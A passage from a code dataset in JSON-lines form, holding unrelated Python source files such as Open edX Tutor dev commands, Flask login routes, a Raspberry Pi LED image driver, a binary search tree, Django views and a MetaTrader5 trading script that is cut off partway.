e:\n        fmt.echo_alert(\n            f\"\"\"Could not verify sufficient RAM allocation in Docker:\n    {e}\nTutor may not work if Docker is configured with < 4 GB RAM. Please follow instructions from:\n    https://docs.tutor.overhang.io/install.html\"\"\"\n        )\n\n    click.echo(fmt.title(\"Interactive platform configuration\"))\n    config = tutor_config.load_minimal(context.obj.root)\n    if not non_interactive:\n        interactive_config.ask_questions(config, run_for_prod=False)\n    tutor_config.save_config_file(context.obj.root, config)\n    config = tutor_config.load_full(context.obj.root)\n    tutor_env.save(context.obj.root, config)\n\n    click.echo(fmt.title(\"Stopping any existing platform\"))\n    context.invoke(compose.stop)\n\n    if pullimages:\n        click.echo(fmt.title(\"Docker image updates\"))\n        context.invoke(compose.dc_command, command=\"pull\")\n\n    click.echo(fmt.title(\"Building Docker image for LMS and CMS development\"))\n    context.invoke(compose.dc_command, command=\"build\", args=[\"lms\"])\n\n    click.echo(fmt.title(\"Starting the platform in detached mode\"))\n    context.invoke(compose.start, detach=True)\n\n    click.echo(fmt.title(\"Database creation and migrations\"))\n    context.invoke(compose.init)\n\n    fmt.echo_info(\n        \"\"\"The Open edX platform is now running in detached mode\nYour Open edX platform is ready and can be accessed at the following urls:\n    {http}://{lms_host}:8000\n    {http}://{cms_host}:8001\n    \"\"\".format(\n            http=\"https\" if config[\"ENABLE_HTTPS\"] else \"http\",\n            lms_host=config[\"LMS_HOST\"],\n            cms_host=config[\"CMS_HOST\"],\n        )\n    )\n\n\n@click.command(\n    help=\"DEPRECATED: Use 'tutor dev start ...' instead!\",\n    context_settings={\"ignore_unknown_options\": True},\n)\n@compose.mount_option\n@click.argument(\"options\", nargs=-1, required=False)\n@click.argument(\"service\")\n@click.pass_context\ndef runserver(\n    context: click.Context,\n    mounts: t.Tuple[t.List[compose.MountParam.MountType]],\n    options: t.List[str],\n    service: str,\n) -> None:\n    depr_warning = \"'runserver' is deprecated and will be removed in a future release. Use 'start' instead.\"\n    for option in options:\n        if option.startswith(\"-v\") or option.startswith(\"--volume\"):\n            depr_warning += \" Bind-mounts can be specified using '-m/--mount'.\"\n            break\n    fmt.echo_alert(depr_warning)\n    config = tutor_config.load(context.obj.root)\n    if service in [\"lms\", \"cms\"]:\n        port = 8000 if service == \"lms\" else 8001\n        host = config[\"LMS_HOST\"] if service == \"lms\" else config[\"CMS_HOST\"]\n        fmt.echo_info(\n            f\"The {service} service will be available at http://{host}:{port}\"\n        )\n    args = [\"--service-ports\", *options, service]\n    context.invoke(compose.run, mounts=mounts, args=args)\n\n\n@hooks.Actions.COMPOSE_PROJECT_STARTED.add()\ndef _stop_on_local_start(root: str, config: Config, project_name: str) -> None:\n    \"\"\"\n    Stop the dev platform as soon as a platform with a different project name is\n    started.\n    \"\"\"\n    runner = DevJobRunner(root, config)\n    if project_name != runner.project_name:\n        runner.docker_compose(\"stop\")\n\n\ndev.add_command(quickstart)\ndev.add_command(runserver)\ncompose.add_commands(dev)\n","repo_name":"kamalakar345/tutor","sub_path":"tutor/commands/dev.py","file_name":"dev.py","file_ext":"py","file_size_in_byte":5703,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"21590917149","text":"import requests\nimport os\ndef save(url):\n    root = \"D://ping/file//\"\n    path = root + url.split(\"/\")[-1]\n    print(path)\n    try:\n        if not os.path.exists(root):\n            os.mkdir(root)\n        if not os.path.exists(path):\n            r = requests.get(url)\n            with open(path,'wb') as f:\n                f.write(r.content)\n                f.close()\n                print(\"文件保存成功\")\n        else:\n            print(\"文件存在\")\n    except:\n        print(\"文件爬取失败\")\nsave(\"http://news.ccsu.cn/info/1121/20184.htm\")","repo_name":"dxiaoping/c","sub_path":"save_file.py","file_name":"save_file.py","file_ext":"py","file_size_in_byte":554,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"10740874779","text":"from brdib import app\nfrom flask import session\nfrom flask_session import Session\nfrom flask import render_template, redirect, url_for, flash\nfrom brdib.models import User\nfrom brdib.form import RegisterForm, LoginForm, UpdateForm\nfrom brdib import db\nfrom flask_login import login_user, logout_user, login_required\nfrom sqlalchemy.orm.attributes import flag_modified\n\n\n# Página Principal (sin sesión activa)\n@app.route('/')\ndef root_page():\n    return render_template('root.html')\n\n\n# Página Principal (con sesión activa)\n@app.route('/home')\n@login_required\ndef home_page():\n    return render_template('home.html')\n\n\n# Página de Registro\n@app.route('/register', methods=['GET', 'POST'])\ndef register_page():\n    form = RegisterForm()\n    if form.validate_on_submit():\n        user_to_create = User(email=form.email.data,\n                              username=form.username.data,\n                              password=form.password_ok.data)\n        db.session.add(user_to_create)\n        db.session.commit()\n        login_user(user_to_create)\n        session['username'] = form.username.data\n        flash(f'Éxito! Iniciaste sesión como: {user_to_create.username}', category='success')\n        return redirect(url_for('home_page'))\n    if form.errors != {}:\n        for error_message in form.errors.values():                                                                      # values() retorna una lista con los elementos del diccionario form.errors\n            flash(error_message[0], category=\"danger\")\n    return render_template('register.html', form=form)\n\n\n# Página de Inicio de Sesión\n@app.route('/login', methods=['GET', 'POST'])\ndef login_page():\n    form = LoginForm()\n    if form.validate_on_submit():\n        attempted_user = User.query.filter_by(username=form.username.data).first()\n        if attempted_user and attempted_user.check_password_correction(attempted_password=form.password.data):\n            login_user(attempted_user)\n            flash(f'Éxito! Iniciaste sesión como: {attempted_user.username}', category='success')\n            session['username'] = form.username.data\n            return redirect(url_for('home_page'))\n        else:\n            flash(f'Ups! Usuario o contraseña incorrectos.', category='danger')\n    return render_template('login.html', form=form)\n\n\n# Página de Configuración (Modificar Perfil)\n@app.route('/settings', methods=['GET', 'POST'])\n@login_required\ndef settings_page():\n    form = UpdateForm()\n    if form.validate_on_submit():\n        user_to_update = User.query.filter_by(username=session['username']).first()\n        if form.username.data != '':\n            user_to_update.username = form.username.data\n            #flag_modified(user_to_update, 'username')\n        if form.email.data != '':\n            user_to_update.email = form.email.data\n            #flag_modified(user_to_update, 'email')\n        #db.session.merge(user_to_update)\n        #db.session.flush()\n        db.session.commit()\n        session['username'] = form.username.data\n        flash(f'Usuario modificado con éxito!', category='success')\n        return redirect(url_for('home_page'))\n    if form.errors != {}:\n        for error_message in form.errors.values():                                                                      # values() retorna una lista con los elementos del diccionario form.errors\n            flash(error_message[0], category=\"danger\")\n    return render_template('settings.html', form=form)\n\n\n# Página de Baja de Usuarios\n@app.route('/unsubscribe')\n@login_required\ndef unsubscribe_page():\n    user_to_delete = User.query.filter_by(username=session['username']).first()\n    logout_user()\n    db.session.delete(user_to_delete)\n    db.session.commit()\n    session.pop('username', None)\n    flash('Baja de usuario realizada con éxito.', category='info')\n    return redirect(url_for('root_page'))\n\n\n# Página de Cierre de Sesión\n@app.route('/logout')\n@login_required\ndef logout_page():\n    logout_user()\n    session.pop('username', None)\n    flash('Cerraste sesión correctamente.', category='info')\n    return redirect(url_for('root_page'))\n\n\n# Página de Pizarra\n@app.route('/board')\n@login_required\ndef board_page():\n    return render_template('board.html')","repo_name":"indirivacua/n5-brazo-robotico","sub_path":"entregas-anteriores/app_brdib/brdib/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":4232,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"7618298693","text":"#!/usr/bin/python\r\n\r\nfrom PIL import Image\r\nimport time\r\nimport RPi.GPIO as GPIO\r\n\r\n\r\n\r\n# initalize GPIO\r\n\r\nGPIO.setmode(GPIO.BCM)\r\n\r\nGPIO.setup(11, GPIO.OUT)\r\nGPIO.setup(5, GPIO.OUT)  #Enable\r\nGPIO.setup(6, GPIO.OUT)  #Bit 0 Red\r\nGPIO.setup(12, GPIO.OUT) #Bit 1 Red\r\nGPIO.setup(13, GPIO.OUT) #Bit 2 Red\r\nGPIO.setup(16, GPIO.OUT) #Bit 0 Green\r\nGPIO.setup(19, GPIO.OUT) #Bit 1 Green\r\nGPIO.setup(20, GPIO.OUT) #Bit 2 Green\r\nGPIO.setup(21, GPIO.OUT) #Bit 0 Blue\r\nGPIO.setup(26, GPIO.OUT) #Bit 1 Blue\r\n\r\npixelNum = 144\r\n\r\nGPIO.output(11, 0)\r\n\r\n\r\nprint(\"Please type the file name of the image you would like to create: \")\r\nimageFile = input()\r\n\r\n\r\n\r\n# grab image and convert it into 144 RGB data\r\n#imageFile = \"logoBlack.png\"\r\noriginal = Image.open(imageFile)\r\n# adjust width and height to your needs\r\nwidth, height = original.size\r\nscale = height/144.0\r\nwidth = int(width /scale)\r\n\r\n#width = 144\r\nheight = 144\r\n\r\n# resive original file to fit 144 pixels\r\nshrink = original.resize((width, height), Image.ANTIALIAS)    # best down-sizing filter\r\next = \".png\"\r\n\r\nshrink = shrink.rotate(180)\r\n\r\n# DEBUG save shrunk file\r\n#shrink.save(\"ANTIALIAS\" + ext)\r\n\r\n# convert to get RGB pixel data\r\nshrinkRGB = shrink.convert('RGB')\r\ncolor = ()\r\npixels = []\r\nrow = width\r\ncol = height\r\n\r\n# iterate over all pixels \r\n#for i in range(0,row):\r\nfor i in range (0,row):\t\t\t\t\t\t\t\t\t# to only get a the first row of the image, which should be the first column of the original \r\n\tfor j in range(0,col):\r\n\t\tr, g, b = shrinkRGB.getpixel((i, j))\t\t\t# SWAP i and j to get picture transposed, may be needed for verticle pixel drawing\r\n\t\tr = r//36\r\n\t\tg = g//36\r\n\t\tb = b//85\r\n\t\tcolor = (r, g, b)\r\n\t\t#color = (r*36, g*36, b*85)\t\t\t\t\t\t# UNCOMMENT to reconstruct, otherwise PIC should do this\r\n\t\tpixels.append(color) \r\n\r\n\r\nimg = Image.new('RGB', (height, width))\r\nimg.putdata(pixels)\r\n#img = img.transpose(Image.TRANSPOSE)\r\n#img.save('recon.png')\r\n\r\n#for i in range(0,pixelNum):\r\n#    if(i%2):\r\n#        color = (255//36, 0, 0)\r\n#    else:\r\n#        color = (0, 255//36, 0)\r\n#    pixels[i] = color\r\n#end for\r\nk = 0\r\n\r\nnum = pixelNum-2\r\ntry:\r\n\twhile True:\r\n\t\tGPIO.output(11,1)\r\n\r\n\t\tfor j in range(0,4):\r\n\t\t\tprint(j)\r\n\t\t\tfor i in range(0, num):\r\n\t\t\t\tGPIO.output(6, 1)\r\n\t\t\t\tGPIO.output(12, 1)\r\n\t\t\t\tGPIO.output(13, 1)\r\n\t\t\t\tGPIO.output(16, 1)\r\n\t\t\t\tGPIO.output(19, 1)\r\n\t\t\t\tGPIO.output(20, 1)\r\n\t\t\t\tGPIO.output(21, 1)\r\n\t\t\t\tGPIO.output(26, 1)\r\n\t\t\t\tGPIO.output(5, 1)\r\n\t\t\t\tGPIO.output(5, 0)\r\n\t\t\tfor i in range(num, 144):\r\n\t\t\t\tGPIO.output(6, 0)\r\n\t\t\t\tGPIO.output(12, 0)\r\n\t\t\t\tGPIO.output(13, 0)\r\n\t\t\t\tGPIO.output(16, 0)\r\n\t\t\t\tGPIO.output(19, 0)\r\n\t\t\t\tGPIO.output(20, 0)\r\n\t\t\t\tGPIO.output(21, 0)\r\n\t\t\t\tGPIO.output(26, 0)\r\n\t\t\t\tGPIO.output(5, 1)\r\n\t\t\t\tGPIO.output(5, 0)\r\n\t\t\tnum = num - (144)//3\r\n\t\t\ttime.sleep(1)\r\n\r\n\r\n\t\tfor k in range(0,width):\r\n\t\t\tprint(k)\r\n\t\t\tfor i in range(0,pixelNum):\r\n\t\t\t\t#print(i)\r\n\t\t\t\tn = k*144\r\n\t\t\t\tGPIO.output(6, int(format(pixels[i+n][0],'#05b')[4])) #r0\r\n\t\t\t\tGPIO.output(12, int(format(pixels[i+n][0],'#05b')[3])) #r1\r\n\t\t\t\tGPIO.output(13, int(format(pixels[i+n][0],'#05b')[2])) #r2\r\n\t\t\t\t#GPIO.output(6, i%2) #g0\r\n\t\t\t\t#GPIO.output(12, i%2) #g1\r\n\t\t\t\t#GPIO.output(13, i%2) #g2\r\n\t\t\t\tGPIO.output(16, int(format(pixels[i+n][1],'#05b')[4])) #g0\r\n\t\t\t\tGPIO.output(19, int(format(pixels[i+n][1],'#05b')[3])) #g1\r\n\t\t\t\tGPIO.output(20, int(format(pixels[i+n][1],'#05b')[2])) #g2\r\n\t\t\t\tGPIO.output(21, int(format(pixels[i+n][2],'#04b')[3])) #b0\r\n\t\t\t\tGPIO.output(26, int(format(pixels[i+n][2],'#04b')[2])) #b1\r\n\t\t\t\tGPIO.output(5, GPIO.HIGH) #enable high\r\n\t\t\t\t#time.sleep(.1)\r\n\t\t\t\tGPIO.output(5, GPIO.LOW) #enable low\r\n\t\t\t\t#time.sleep(5)\r\n\t\t\t#end for\r\n\t\t\t#time.sleep(.05)\r\n\t\t#end for\r\n\t\tGPIO.output(11,0)\r\n\t\ttime.sleep(5)\r\n\t#end while\r\nexcept KeyboardInterrupt:\r\n    GPIO.cleanup()\r\n#end try\r\n\r\n\r\n# reconstruct image from pixel data\r\nrecon = Image.new('RGB', (width, height))\r\nrecon.putdata(pixels)\r\n#recon = recon.transpose(Image.TRANSPOSE)\t\t\t\t# MAY NEED TO BE UNCOMMENTED\r\nrecon.save('recon.png')\r\n","repo_name":"ov37/ece4760_FINAL","sub_path":"total.py","file_name":"total.py","file_ext":"py","file_size_in_byte":3948,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"31500473734","text":"import sys\nsys.path.insert(0,'..')\n\nfrom Common.StrategyBase import StrategyBase\nimport logging\n\n\nitem = {\n    \"Age\": 22,\n    \"Amount\": 500.0,\n    \"AmountToReceive\": 0,\n    \"AuditingTime\": \"2000-01-01T00:00:00.000\",\n    \"BorrowName\": \"pdu4163126017\",\n    \"CancelCount\": 0,     # 历史记录：  2次撤标\n    \"CertificateValidate\": 1,               #身份证认证 ??\n    \"CreditCode\": \"B\",\n    \"CreditValidate\": 0,                    #\n    \"CurrentRate\": 20.0,\n    \"DeadLineTimeOrRemindTimeStr\": \"19天23时52分\",\n    \"EducationDegree\": \"专科\",         #文化程度\n    \"FailedCount\": 0,           # 历史记录： 0次失败\n    \"FirstSuccessBorrowTime\": \"2017-11-17T19:26:22.000\",\n    \"FistBidTime\": None,\n    \"Gender\": 1,\n    \"GraduateSchool\": \"华北科技学院\",                #毕业院校\n    \"HighestDebt\": 6832.48,                     #历史最高负债\n    \"HighestPrincipal\": 5740.0,                  #单笔最高借款金额\n    \"LastBidTime\": None,\n    \"LastSuccessBorrowTime\": \"2018-07-09T18:05:05.000\",\n    \"LenderCount\": 0,\n    \"ListingId\": 126040981,\n    \"Months\": 6,\n    \"NciicIdentityCheck\": 0,\n    \"NormalCount\": 10,         #正常还清次数\n    \"OverdueLessCount\": 0,     #逾期少于15天\n    \"OverdueMoreCount\": 0,\n    \"OwingAmount\": 6085.88,      #待还金额\n    \"OwingPrincipal\": 5432.95,\n    \"PhoneValidate\": 1,\n    \"RegisterTime\": \"2017-11-17T17:59:41.000\",\n    \"RemainFunding\": 500.0,\n    \"StudyStyle\": \"成人\",               #学习形式\n    \"SuccessCount\": 3,              #成功借款次数\n    \"TotalPrincipal\": 12340.0,      #累计借款金额\n    \"WasteCount\": 0\n}\n\nclass OpenStrategy(StrategyBase):\n    def __init__(self, name, description, logger=None):\n        logger = logger or logging.getLogger(__name__)\n        StrategyBase.__init__(self, name, description, logger)\n\n    # Gender:\n    #   2: 女\n    #   1: 男\n    def change_key(self, item):\n        key_dict = {\"CreditCode\": \"级别\",\n                    \"Gender\": \"性别\",\n                    \"Months\": \"期限\",\n                    \"Age\": \"年龄\",\n                    \"OwingAmount\": \"待还金额\",\n                    \"OverdueLessCount\": \"逾期（0-15天）还清次数\",\n                    \"OverdueMoreCount\": \"逾期（15天以上）还清次数\",\n                    \"SuccessCount\": \"成功借款次数\",\n                    \"NormalCount\": \"正常还清次数\",\n                    \"HighestDebt\": \"历史最高负债\",\n                    \"Amount\": \"借款金额\",\n                    \"HighestPrincipal\": \"单笔最高借款金额\",\n                    \"EducationDegree\": \"文化程度\",\n                    \"GraduateSchool\": \"毕业院校\",\n                    \"StudyStyle\": \"学习形式\"}\n\n        for key, value in key_dict.items():\n            if key not in item:\n                continue\n\n            item[value] = item[key]\n\n            if key == \"Gender\":\n                if item[value] == 2:\n                    item[value] = \"女\"\n                elif item[value] == 1:\n                    item[value] = \"男\"\n                else:\n                    raise ValueError(f\"does not know geder value {item}\")\n            elif key == \"EducationDegree\":\n                if item[value] is None:\n                    item[value] = \"无\"\n\n        item[\"成功还款次数\"] = item[\"正常还清次数\"] + item[\"逾期（0-15天）还清次数\"] + item[\"逾期（15天以上）还清次数\"]\n        return item\n\n    def is_item_can_bid(self, item):\n        item = self.change_key(item)\n        return StrategyBase.is_item_can_bid(self, item)\n\n# Gender:\n#   2: 女\n#   1: 男\n\ndef test():\n    base_strategy = OpenStrategy(\"自动1  \", \"女年龄\")\n    base_strategy.add_filters([\n            # [\"CreditCode\", \"==\", \"B\", \"str\"],\n            # [\"Months\", \"<\", \"7\", \"int\"],\n            # [\"Gender\", \"==\", \"2\", \"int\"],\n            # [\"Age\", \">\", \"28\", \"int\"],\n            # [\"Age\", \"<\", \"45\", \"int\"],\n            # [\"OwingAmount\", \"<\", \"20000\", \"int\"],     #待还金额\n        [\"级别\", \"==\", \"B\", \"str\"],\n        [\"期限\", \"<\", \"7\", \"int\"],\n        [\"性别\", \"==\", \"女\", \"str\"],\n        [\"年龄\", \">\", \"28\", \"int\"],\n        [\"年龄\", \"<\", \"45\", \"int\"],\n        [\"待还金额\", \"<\", \"20000\", \"int\"],\n            [\"逾期（15天以上）还清次数\", \"==\", \"0\", \"int\"],\n            [\"成功借款次数\", \"!=\", \"0\", \"int\"],\n            [\"成功还款次数\", \">\", \"10\", \"int\"],\n            [\"待还金额/历史最高负债\", \"<\", \"0.9\", \"rate\"],\n            [\"借款金额/单笔最高借款金额\", \"<\", \"0.9\", \"rate\"],\n            # [\"网络借贷平台借款余额\", \"<\", \"20000\", \"int\"]\n        ])\n\n    item = {'Age': 42, 'Amount': 5200.0, 'AmountToReceive': 0, 'AuditingTime': '2000-01-01T00:00:00.000', 'BorrowName': 'pdu3030472653', 'CancelCount': 0, 'CertificateValidate': 0, 'CreditCode': 'AA', 'CreditValidate': 0, 'CurrentRate': 10.5, 'DeadLineTimeOrRemindTimeStr': '14天23时55分', 'EducationDegree': None, 'FailedCount': 0, 'FirstSuccessBorrowTime': '2017-11-07T09:31:53.000', 'FistBidTime': None, 'Gender': 1, 'GraduateSchool': None, 'HighestDebt': 1241.82, 'HighestPrincipal': 1000.0, 'LastBidTime': None, 'LastSuccessBorrowTime': '2017-11-07T09:31:53.000', 'LenderCount': 0, 'ListingId': 126037765, 'Months': 6, 'NciicIdentityCheck': 0, 'NormalCount': 6, 'OverdueLessCount': 0, 'OverdueMoreCount': 0, 'OwingAmount': 0.0, 'OwingPrincipal': 0.0, 'PhoneValidate': 1, 'RegisterTime': '2017-08-23T18:59:22.000', 'RemainFunding': 5200.0, 'StudyStyle': None, 'SuccessCount': 1, 'TotalPrincipal': 1000.0, 'WasteCount': 1}\n    # item[\"CreditCode\"] = \"B\"\n    logger.info(base_strategy.is_item_can_bid(item))\n\n\nif __name__  == \"__main__\":\n    logging.basicConfig(level=logging.DEBUG)\n    logger = logging.getLogger(__name__)\n    test()","repo_name":"zhoukai83/ppd","sub_path":"Common/OpenStrategy.py","file_name":"OpenStrategy.py","file_ext":"py","file_size_in_byte":5776,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"29568816936","text":"import wx\n\ndef create(parent):\n    return OptionsWindow(parent)\n\n[wxID_WXOPTIONSDIALOG, wxID_WXOPTIONSNOTEBOOK, wxID_WXDIALOG1BUTTON1, wxID_WXDIALOG1BUTTON2\n] = map(lambda _init_ctrls: wx.NewId(), range(4))\n\nclass ProjectProperties(wx.Dialog):\n    def __init__(self, parent):\n        wx.Dialog.__init__(self, id=wxID_WXOPTIONSDIALOG, name='', parent=parent,\n                           pos=wx.Point(256, 167), size=wx.Size(385, 330),\n                           style=wx.DEFAULT_DIALOG_STYLE, title=_(\"Options\"))\n        self.artub = parent\n        self.notebook = wx.Notebook(id=wxID_WXOPTIONSNOTEBOOK, name='notebook1',\n                                    parent=self, pos=wx.Point(8, 8), style=0)\n        self.create_plugins_pages()\n        self.CenterOnScreen()\n        \n    def create_plugins_pages(self):\n        sizer = wx.BoxSizer(wx.VERTICAL)\n        from builder.optionspage import BuilderOptionsPage\n        page = BuilderOptionsPage(self.notebook, wx.GetApp().artub_frame.project)\n        self.builder_page = page\n        self.notebook.AddPage(page, _(\"Builder\"))\n        sizer.Add(self.notebook, 0, wx.ALL, 5)\n        \n        sizer2 = wx.BoxSizer(wx.HORIZONTAL)\n        okbutton = wx.Button(id=wx.ID_OK, label=_(\"Ok\"),\n                             name='button1', parent=self, style=0)\n\n        wx.EVT_BUTTON(okbutton, wx.ID_OK, self.OnOk)\n\n        cancelbutton = wx.Button(id=wx.ID_CANCEL, label=_(\"Cancel\"),\n                                 name='button2', parent=self, style=0)\n\n        sizer2.Add(okbutton, 0, wx.ALIGN_CENTER)\n        sizer2.Add(cancelbutton, 0, wx.ALIGN_CENTER)\n        sizer.Add(sizer2, 0, wx.ALIGN_CENTER_HORIZONTAL | wx.ALIGN_CENTER | wx.ALL, 10)\n        self.SetSizer(sizer)\n        sizer.Fit(self)\n        \n    def OnOk(self, evt):\n        self.builder_page.OnOk()\n        evt.Skip()\n","repo_name":"lebauce/artub","sub_path":"projectproperties.py","file_name":"projectproperties.py","file_ext":"py","file_size_in_byte":1823,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"}
{"seq_id":"16292391958","text":"import queue\n\nclass Node():\n    def __init__(self, value):\n        self.value = value\n        self.left = None\n        self.right = None\n\nclass BinaryTree():\n    def __init__(self):\n        self.root = None\n\n    def insert(self, value):\n        newNode = Node(value)\n        if (not self.root):\n            print('Inserted ' + str(newNode.value) + ' into the tree.')\n            self.root = newNode\n            return\n        self.insertNode(self.root, newNode)\n        print('Inserted ' + str(newNode.value) + ' into the tree.')\n\n    def insertNode(self, root, newNode):\n        if(root.value > newNode.value):\n            if(root.left is None):\n                root.left = newNode\n                return\n            else:\n                self.insertNode(root.left, newNode)\n        else:\n            if(root.right is None):\n                root.right = newNode\n                return\n            else:\n                self.insertNode(root.right, newNode)\n\n    def delete(self, value):\n        if(self.root is None):\n            print('The tree is empty')\n            return\n        else:\n            self.root = self.deleteNode(self.root, value)\n    \n    def deleteNode(self, root, value):\n        if(root.value == value):\n            if(root.left is None and root.right is None):\n                root = None\n            elif(not root.left):\n                root = root.right\n            elif(not root.right):\n                root = root.left\n            else:\n                succ = self.findMin(root.right)\n                root.value = succ.value\n                root.right = self.deleteNode(root.right, succ.value)\n        else:\n            if(root.value > value):\n                root.left = self.deleteNode(root.left, value)\n            else:\n                root.right = self.deleteNode(root.right, value)\n        return root\n\n    def findMin(self, root):\n        if(root.left):\n            return self.findMin(root.left)\n        else:\n            return root\n            \n    def printTree(self): \n        i = 0\n        j = 1\n        qu = queue.Queue()\n        qu.put(self.root)\n        print('\\n#################################')\n        print('current tree')\n        print('#################################')\n        while(not qu.empty()):\n            temp = qu.get()\n            print(temp.value, end=' ')\n            if (i % j == 0):\n                j *= 2\n                i = 0\n                print('')\n            if(temp.left):\n                qu.put(temp.left)\n            if(temp.right):\n                qu.put(temp.right)\n            i += 1\n        print('\\n#################################')\n        print('preorder: ', end= ' ')\n        self.printPreorder(self.root)\n        print('')\n        print('inorder: ', end= ' ')\n        self.printInorder(self.root)\n        print('')\n        print('postorder: ', end= ' ')\n        self.printPostorder(self.root)\n        print('')\n        print('\\n#################################')\n\n    \n    def printPreorder(self, root):\n        if(not root):\n            return\n        print(root.value, end=' ')\n        self.printPreorder(root.left)\n        self.printPreorder(root.right)\n    \n    def printInorder(self, root):\n        if(not root):\n            return\n        self.printInorder(root.left)\n        print(root.value, end=' ')\n        self.printInorder(root.right)\n    \n    def printPostorder(self, root):\n        if(not root):\n            return\n        self.printPostorder(root.left)\n        self.printPostorder(root.right)\n        print(root.value, end=' ')\n        \n\nif __name__ == \"__main__\":\n    bt = BinaryTree()\n    bt.insert(8)\n    bt.insert(3)\n    bt.insert(10)\n    bt.insert(1)\n    bt.insert(6)\n    bt.insert(14)\n    bt.insert(4)\n    bt.insert(7)\n    bt.insert(13)\n    bt.delete(8)\n    bt.printTree()\n    # print('\\nInorder: ')\n    # bt.printInorder(bt.root)\n    # print('\\npre order: ')\n    # bt.printPreorder(bt.root)\n    # print('\\npost order: ')\n    # bt.printPostorder(bt.root)","repo_name":"rahulShaw3112/data-structures","sub_path":"tree/bst-wll.py","file_name":"bst-wll.py","file_ext":"py","file_size_in_byte":3963,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"42765655650","text":"import json\nfrom time import time\nimport copy\n\nfrom django.http import HttpResponse, HttpRequest\n\nfrom configuration import Configuration\nfrom utilities.similar_words_dictionary_parser import SimilarWordsDictionaryParser\nfrom utilities.stats_calculator import StatsCalculator\n\nnumber_of_words_in_dictionary, similar_words_dictionary = \\\n    SimilarWordsDictionaryParser.parse(Configuration.get_path_to_dictionary_file())\n\n\ndef similar(request: HttpRequest) -> HttpResponse:\n    begin = time()\n    if request.method == 'GET':\n        if 'word' in request.GET:\n            # Fetched received parameter and format is\n            query_word = request.GET['word']\n            clean_query_word = query_word.rstrip('\\n').rstrip('\\r').strip().lower()\n\n            # Sorted word will be used as the information key\n            sorted_word = ''.join(sorted(clean_query_word))\n\n            ret_dict = {'similar': []}  # Default response in case there aren't any similar words in the dictionary\n            if sorted_word in similar_words_dictionary:\n                ret_dict = similar_words_dictionary[sorted_word]\n\n                # Omit the queried word if present\n                if clean_query_word in ret_dict['similar']:\n                    ret_dict = copy.deepcopy(ret_dict)\n                    ret_dict['similar'].remove(clean_query_word)\n\n            json_string = json.dumps(ret_dict)\n            total_time = time() - begin\n            StatsCalculator.add_request_stat(total_time)\n            return HttpResponse(json_string)\n\n    # Default response\n    return HttpResponse('')\n\n\ndef stats(request: HttpRequest) -> HttpResponse:\n    if request.method == 'GET':\n        # Fetch Statistics\n        stats_dict = StatsCalculator.get_stats()\n\n        # Add to the statistics the totalWords information\n        stats_dict['totalWords'] = number_of_words_in_dictionary\n        json_string = json.dumps(stats_dict)\n        return HttpResponse(json_string)\n\n    # Default response\n    return HttpResponse('')\n","repo_name":"hoshmy/SimilarWordsService","sub_path":"api/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2000,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"18715713346","text":"# FATEC - Segurança da Informação\n# AULA 1 - Introdução a lógica\n# Prof: Rogério Lazanha\n# Augusto Finotti Oliveira 23/02/2022\n\n# Bibliotecas\nimport os\n\n# 10- Calcular o valor de uma viagem de uma cidade a outra.\n\n# Entrada\nprint(\"Calcular o custo de uma viagem de uma cidade a outra\")\nd = float(input(\"Digite em km a distância: \"))\nvl = float(input(\"Digite o preço do litro do combustível: \"))\ndes = float(input(\"Digite quatos litros o carro gasta por km: \"))\npedagio = float(input(\"Digite o custo do pedágio: \"))\n\n# Processamento\ncusto_total = ((d * vl) / des ) + pedagio\n\n# Saída\nprint(\"O custo total da viagem será de: %.2f\" %(custo_total))\nos.system(\"pause\")\n","repo_name":"AugustoFinotti/Python","sub_path":"Exercicos_aula1/10.py","file_name":"10.py","file_ext":"py","file_size_in_byte":677,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"12192382761","text":"import MetaTrader5 as mt5\r\nimport pandas as pd\r\nimport numpy as np\r\nimport plotly.graph_objects as go\r\nfrom IPython.display import display\r\nimport time\r\nfrom datetime import datetime, timedelta\r\n\r\nmt5.initialize()\r\n\r\nstatus = 'open'\r\nsymbols = mt5.symbols_get()\r\n\r\nprice = mt5.symbol_info_tick('EURUSD') # Make a choice of your currency pair\r\nprint(datetime.fromtimestamp(price.time))\r\nprint(price.bid)\r\n\r\n\r\nclass SupportResistance:\r\n    def __init__(self):\r\n        self.status = None\r\n        self.symbol = 'EURUSD' # Use the currency pair you have chosen\r\n        self.year = int(str(datetime.now())[:-22])\r\n        self.month = int(str(datetime.now())[5:-19])\r\n        self.day = int(str(datetime.now())[8:-16])\r\n        self.price = mt5.symbol_info_tick(self.symbol)\r\n        self.timeframe = mt5.TIMEFRAME_M1\r\n        pass\r\n\r\n    def checkgraph(self):\r\n        while self.status is None:\r\n            start_dt = datetime(self.year, self.month, self.day)\r\n            end_dt = datetime.now()\r\n\r\n            bars = mt5.copy_rates_range(self.symbol, self.timeframe, start_dt, end_dt)\r\n            df = pd.DataFrame(bars)[['time', 'open', 'high', 'low', 'close']]\r\n            df['time'] = pd.to_datetime(df['time'], unit='s')\r\n\r\n            fig = go.Figure(data=go.Ohlc(\r\n                x=df['time'], open=df['open'], high=df['high'], low=df['low'], close=df['close']))\r\n\r\n            def specify_candle_type(open_price, close_price):\r\n                if close_price > open_price:\r\n                    return 'bullish'\r\n                elif close_price < open_price:\r\n                    return 'bearish'\r\n                else:\r\n                    return 'doji'\r\n\r\n            df['candle_type'] = np.vectorize(specify_candle_type)(df['open'], df['close'])\r\n\r\n            df['candle_1'] = df['candle_type'].shift(1)\r\n            df['candle_2'] = df['candle_type'].shift(2)\r\n            df['candle_3'] = df['candle_type'].shift(3)\r\n            df['prev_close'] = df['close'].shift(1)\r\n\r\n            df_bullish = df[\r\n                (df['candle_1'] == 'bullish') & (df['candle_2'] == 'bullish') & 